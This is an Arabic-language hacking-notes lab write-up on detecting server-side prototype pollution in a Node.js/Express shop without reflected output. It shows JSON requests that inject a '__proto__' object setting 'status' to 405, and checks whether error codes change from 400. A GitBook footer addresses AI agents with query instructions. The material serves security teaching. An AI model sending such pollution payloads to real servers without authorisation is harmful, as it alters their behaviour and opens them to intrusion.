> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/detection-without-reflection-of-modified-properties.md).

# الاكتشاف دون انعكاس الخصائص المعدّلة

### اكتشاف تلوث النماذج الأولية على جانب الخادم دون انعكاس الخاصية الملوثة

**سياق المختبر**

يعمل هذا المختبر على **Node.js** بـ **Express**. وهو عرضة لـ **تلويث النموذج الأولي على جانب الخادم** لأن **تطبيق الدمج (merge) غير آمن** من بيانات يسيطر عليها المستخدم في كائن JavaScript على جانب الخادم.

الهدف: **تأكيد الثغرة** بصفتـ `Object.prototype` الملوِّث **مرئي لكنه غير تدميري**، وذلك فقط عبر تغيير في سلوك الخادم (لا حاجة إلى استغلال إضافي).

بيانات الاعتماد: `wiener:peter`.

<figure><img src="/files/695a09cafe818870f65beb06b0f9eb6228277ee7" alt=""><figcaption></figcaption></figure>

**البيانات المرسلة بواسطة التطبيق (العنوان)**

من خلال تعديل عنوان الفوترة / التوصيل، يرسل المتصفح JSON مشابهًا إلى:

```json
{
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**إنشاء خطأ مُتحكَّم به لملاحظة الاستجابة**

إذا فرضت خطأً في تحليل JSON (مثلًا بحذف علامة اقتباس)، فستحصل على استجابة **400** ويُرجِع الخادم كائن خطأ حيث يحتوي `الجسم` على حمولة البيانات الخاصة بنا (انعكاس):

```json
{
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

الاستجابة النموذجية:

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="/files/1e989d58bb41a48ef299175c84afa0278b6053b6" alt=""><figcaption></figcaption></figure>

**فكرة: إثبات التلوث دون انعكاس مباشر**

بدلًا من انتظار ظهور خاصية ملوثة في الجسم، يمكن السعي إلى **تغيير سلوكي قابل للقياس**، مثل \*\*رمز HTTP\*\* المُرجَع أثناء الخطأ.

هنا، يستخدم الخادم (أو يمرر) حقولًا مثل `status` / `statusCode`. إذا تمكّنا من تلويث `Object.prototype.status`، فعند حدوث أخطاء لاحقًا، يمكن لـ Express (أو معالج الخطأ) استرجاع هذه القيمة عبر الوراثة من النموذج الأولي → سيُرجِع الخادم **status**.

**محاولة التلوث عبر `__proto__`**

ملف `__proto__` يُدرَج المفتاح في JSON (في استعلام JSON صالح، وليس استعلامًا معطوبًا)، مثلًا:

```json
{
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="/files/d8001408c8caf543d8dc2a35cbe1016622879c9d" alt=""><figcaption></figcaption></figure>

الأثر المتوقع: بعد هذا التلوث، **أي خطأ** (مثل خطأ طوعي في تحليل JSON) يمكنه الآن أن يستجيب بـ **405 بدلًا من 400**، لأن `status` موروث من `Object.prototype`.

**النتيجة / التحقق**

* قبل التلوث: الأخطاء → `400`
* بعد التلوث: الأخطاء → `405` (أو رمز آخر مختار)

<figure><img src="/files/86a404da05aadc6e6bc24cfb3347bef40f0837cf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/detection-without-reflection-of-modified-properties.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
